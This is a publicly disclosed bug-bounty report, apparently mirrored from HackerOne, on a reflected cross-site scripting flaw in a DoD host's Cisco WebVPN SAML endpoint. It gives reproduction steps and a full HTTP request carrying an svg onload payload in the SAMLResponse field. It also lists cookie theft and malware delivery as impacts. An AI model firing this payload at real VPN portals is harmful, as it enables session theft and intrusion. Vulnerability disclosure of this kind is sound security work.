HexBrain

U.S. Dept Of Defense · Report #1252282

XSS on ███

Validstatus
mediumseverity
7upvotes
19 Aug 2021disclosed

How it was found

Hi , I found XSS on ██████████ IP Enumeration ████

  • go to https://███/+CSCOE+/logon.html?a0=15&a1=&a2=&a3=1
  • intercept the request by burp suite and send it to repeater
  • then edit the request to be like this
GET /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1
Host: ██████████
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

SAMLResponse="><svg/onload=alert('0xElkot')>

███████

Impact

Cookie Stealing - A malicious user can steal cookies and use them to gain access to the application. Arbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server. Malware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the site, the user may be more likely to trust the request and actually install the malware. Defacement - attacker can deface the website usig javascript code.

Kind Regards, @0xElkot

System Host(s)

██████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

  • go to https://█████████/+CSCOE+/logon.html?a0=15&a1=&a2=&a3=1
  • intercept the request by burp suite and send it to repeater
  • then edit the request to be like this
GET /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1
Host: ████████
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

SAMLResponse="><svg/onload=alert('0xElkot')>

Suggested Mitigation/Remediation Actions

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original